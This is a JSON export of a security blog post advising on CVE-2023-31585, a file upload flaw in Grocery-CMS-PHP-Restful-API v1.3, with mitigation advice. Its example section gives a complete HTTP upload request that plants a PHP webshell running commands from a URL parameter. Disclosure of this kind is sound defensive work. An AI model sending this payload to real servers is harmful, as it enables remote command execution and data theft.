{"id":38261,"date":"2025-05-15T01:54:18","date_gmt":"2025-05-15T01:54:18","guid":{"rendered":""},"modified":"2025-06-09T23:31:08","modified_gmt":"2025-06-10T05:31:08","slug":"cve-2023-31585-critical-file-upload-vulnerability-in-grocery-cms-php-restful-api-v1-3","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-31585-critical-file-upload-vulnerability-in-grocery-cms-php-restful-api-v1-3\/","title":{"rendered":"<strong>CVE-2023-31585: Critical File Upload Vulnerability in Grocery-CMS-PHP-Restful-API v1.3<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently disclosed a severe vulnerability identified as CVE-2023-31585. This vulnerability has been found in Grocery-CMS-PHP-Restful-API version 1.3, a widely used application in the e-commerce sector. The vulnerability allows perpetrators to upload unauthorized files via the \/admin\/add-category.php endpoint, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4050-heap-corruption-in-google-chrome-devtools-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"43067\">potentially leading to system<\/a> compromise or data leakage. Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-38623-severe-integer-overflow-vulnerabilities-in-gtkwave-3-3-115\/\"  data-wpil-monitor-id=\"43241\">severity of this vulnerability<\/a>, recognized with a CVSS score of 9.8, it&#8217;s crucial for users and administrators of Grocery-CMS-PHP-Restful-API v1.3 to understand the risks associated and take appropriate mitigation measures.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2023-31585<br \/>\nSeverity: Critical (CVSS: 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4372-webaudio-heap-corruption-in-google-chrome-a-potential-gateway-to-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"43811\">System Compromise and Data<\/a> Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1883468032\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Grocery-CMS-PHP-Restful-API | v1.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45616-incorrect-access-control-vulnerability-in-the-admin-api-of-brcc-v1-2-0\/\"  data-wpil-monitor-id=\"43318\">vulnerability stems from an inadequate security control<\/a> on the \/admin\/add-category.php endpoint. An attacker can exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47462-cross-site-request-forgery-vulnerability-in-ohidul-islam-challan-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"43674\">vulnerability by sending a specially crafted HTTP POST request<\/a> to this endpoint. The server, failing to validate or sanitize the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4279-critical-arbitrary-file-upload-vulnerability-in-wordpress-external-image-replace-plugin\/\"  data-wpil-monitor-id=\"43210\">file being uploaded<\/a>, accepts the file and stores it in the server&#8217;s file system. This allows the attacker to upload a malicious file, such as a webshell or a PHP script, which can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4347-d-link-router-buffer-overflow-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"43594\">lead to unauthorized system<\/a> access or data exfiltration.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1342251822\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker might <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"56855\">exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/admin\/add-category.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/php\n&lt;?php\nsystem($_GET[&#039;cmd&#039;]);\n?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is attempting to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47549-critical-unrestricted-file-upload-vulnerability-in-themefic-beaf\/\"  data-wpil-monitor-id=\"43887\">upload a PHP file<\/a> named `exploit.php`. This malicious file, once uploaded, could be used to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-37446-arbitrary-code-execution-vulnerability-in-gtkwave-3-3-115\/\"  data-wpil-monitor-id=\"42957\">execute arbitrary<\/a> system commands.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users are strongly recommended to apply the vendor-released patch to mitigate this vulnerability. As a temporary measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could be used to block or monitor suspicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0984-critical-file-upload-and-xss-vulnerability-in-netoloji-software-e-flow\/\"  data-wpil-monitor-id=\"43952\">file uploads<\/a>. However, these are not <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3921-unauthorized-modification-of-data-in-peprodev-ultimate-profile-solutions-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"43923\">ultimate solutions<\/a>, and the patch should be applied as soon as possible to prevent potential exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently disclosed a severe vulnerability identified as CVE-2023-31585. This vulnerability has been found in Grocery-CMS-PHP-Restful-API version 1.3, a widely used application in the e-commerce sector. The vulnerability allows perpetrators to upload unauthorized files via the \/admin\/add-category.php endpoint, potentially leading to system compromise or data leakage. Given [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-38261","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=38261"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38261\/revisions"}],"predecessor-version":[{"id":50767,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38261\/revisions\/50767"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=38261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=38261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=38261"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=38261"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=38261"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=38261"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=38261"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=38261"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=38261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}